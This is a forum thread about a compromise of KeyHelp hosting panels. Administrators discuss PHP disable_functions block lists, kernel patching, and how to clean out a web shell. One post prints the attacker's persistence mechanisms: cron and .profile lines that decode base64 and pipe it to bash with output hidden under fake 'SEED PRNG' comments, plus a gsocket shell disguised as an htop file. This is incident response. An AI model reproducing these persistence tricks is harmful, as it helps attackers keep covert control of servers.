Possible attack on Keyhelp panels

[Tobi]

You are hotlinking the virus.

Reposting the whole shit does not make it better

[superjogi]

Kernelupdate ist das einzige was wirklich hilft:

sudo apt update
sudo apt dist-upgrade
reboot

[24unix]

Kernelupdate ist das einzige was wirklich hilft:

sudo apt update
sudo apt dist-upgrade
reboot

Ernsthaft? reboot geht ohne sudo?

Ich nutze normales Debian mir einem intaktem root-Account.

[Alexander]

Also, I'm wondering why such dangerous commands aren't blocked by default under customers?

They are blocked by default. This is the current list of disable_functions, as you can see, exec, system, passthru, ... are part of it.

apache_child_terminate, apache_note, apache_setenv, curl_multi_exec, define_syslog_variables, dl, exec, link, opcache_get_status, openlog, passthru, pcntl_exec, pcntl_fork, pcntl_setpriority, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, stream_socket_sendto, symlink, syslog, system

[omexlu]

Also, I'm wondering why such dangerous commands aren't blocked by default under customers?

They are blocked by default. This is the current list of disable_functions, as you can see, exec, system, passthru, ... are part of it.

apache_child_terminate, apache_note, apache_setenv, curl_multi_exec, define_syslog_variables, dl, exec, link, opcache_get_status, openlog, passthru, pcntl_exec, pcntl_fork, pcntl_setpriority, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, stream_socket_sendto, symlink, syslog, system

For me it wasn't under Ubuntu 24, also in the demo they aren't.

[Alexander]

For me it wasn't under Ubuntu 24, also in the demo they aren't.

Of course they are, and this is since the beginning of KeyHelp.

Demo -> User administration -> Add client -> Tab PHP -> disable_functions -> There they are.

Note: They are not part of the "Unlimited" account template.
The demo client uses the "Unlimited" account template. Account templates can be modified via "Configuration -> Account templates".
Assigning the "Unlimited" template to an account does more or less that, what the name implies .

[omexlu]

That was the problem, and it’s the same for many others who use their server for personal purposes.

We're using the Unlimited Template, which is why it isn’t being inserted, thx for letting know.
I've already tweaked the template over the past few days—it's now applied everywhere—BUT it's still a bit risky this way.

If you add a user without a template, it’s there—you might want to point that out.

[superjogi]

Hello,

Ok I think we can summarize.

1) some php weakness
The attacker used weaknesses that occur in almost all php applications. Wordpress plugins, or Prestashop.
This is almost impossible to mitigate as there are always new problems

2) configuration weakness
He was able to write the malicious shell due to missing disabled functions.
This can be tightened via disabled functions (which are not present in unlimited template)

My suggestion for Disabled Functions

Code: Select all

apache_child_terminate,apache_note,apache_setenv,chroot,curl_multi_exec,define_syslog_variables,disk_free_space,diskfreespace,dl,exec,highlight_file,imap_open,inject_code,link,mb_send_mail,opcache_get_status,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,putenv,shell_exec,show_source,stream_socket_sendto,symlink,syslog,system

3) Optional: missing server patches
Recently there were user rights elevation compromizes on the daily. These had to be manually patched.
Hacks:
https://copy.fail/
https://ubuntu.com/blog/dirty-frag-linu ... -available
https://tuxcare.com/blog/fragnesia-cve- ... ernel-lpe/

Code: Select all

sudo apt update
sudo apt dist-upgrade
reboot

If this was hacked at this level then also keyhelp panel and all users are affected.
Stored ssh to other servers and email passwords might be compromized too.
This can really turn out to be a long term heavy invection.

4) When hacked normally (still only in user account and not using elevated rights priviledge)
Removal of shell in
/home/users/USERNAME/www
/home/users/USERNAME/.config/htop/defunct.dat
/home/users/USERNAME/.local
/home/users/USERNAME/tmp
/tmp
Also see Point 5

5) Remoteshell is still in RAM
lsof -i -u USERNAME
will give some output when you analyse it you will find even with removed shell it is still in ram and actively working.
kill the processes or restart apache
check the cronjobs for the user although likely not compromized

[superjogi]

On my side:

Code: Select all

  2026-05-14 15:09:51  /home/keyhelp/www/adminer/index.php
  2026-05-14 15:09:51  /home/keyhelp/www/keyhelp/index.php
  2026-05-14 15:09:54  /home/keyhelp/www/phpmyadmin/index.php
  2026-05-14 15:09:54  /home/keyhelp/www/roundcube/index.php
  2026-05-14 15:09:54  /home/keyhelp/www/snappymail/index.php

By the way the info you guys gave here is truly appreciated. It is very hard to understand what happens when information is too sparse.
You have observability so well configured and willing to share helps a lot of folks down the line.
Cheers

[superjogi]

They also like to persist via crontab and profile.
So after apache restart you get it again.
This is the contained hack where it only is within a user.

kill processes does not work due to transient children.

1) rename www so the hack can not reseed from a eg. wordpress hack

2) clean these files below which are bugs outside your webroot that restart the process on apache restart, or cron intervall, or both

3) kill all processes
usermod -L USER
pkill -9 -u USER

4) Verify the parent is actually dead:
ps -u USER -o pid,ppid,stat,comm,args
lsof -i -a -u USER


Affected files (apart from webroot):

Code: Select all

/home/users/USER/.config/htop/defunct 
this is gsocket, delete it


/var/spool/cron/crontabs/USER

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Fri May 15 07:11:55 2026)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
# DO NOT REMOVE THIS LINE. SEED PRNG. #lsphp-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVU1MDEyIGxzcGhwIDI+L3Vzci9iaW4vcGtpbGwgLTAgLVU1MDE4IG|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng lsphp-kernel
# DO NOT REMOVE THIS LINE. SEED PRNG. #systemd-journald-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVU1MDE4IG|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng systemd-journald-kernel

/home/users/USER/.profile

# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVU1MDE4IG==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
	. "$HOME/.bashrc"
    fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
    PATH="$HOME/bin:$PATH"
fi

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/.local/bin" ] ; then
    PATH="$HOME/.local/bin:$PATH"
fi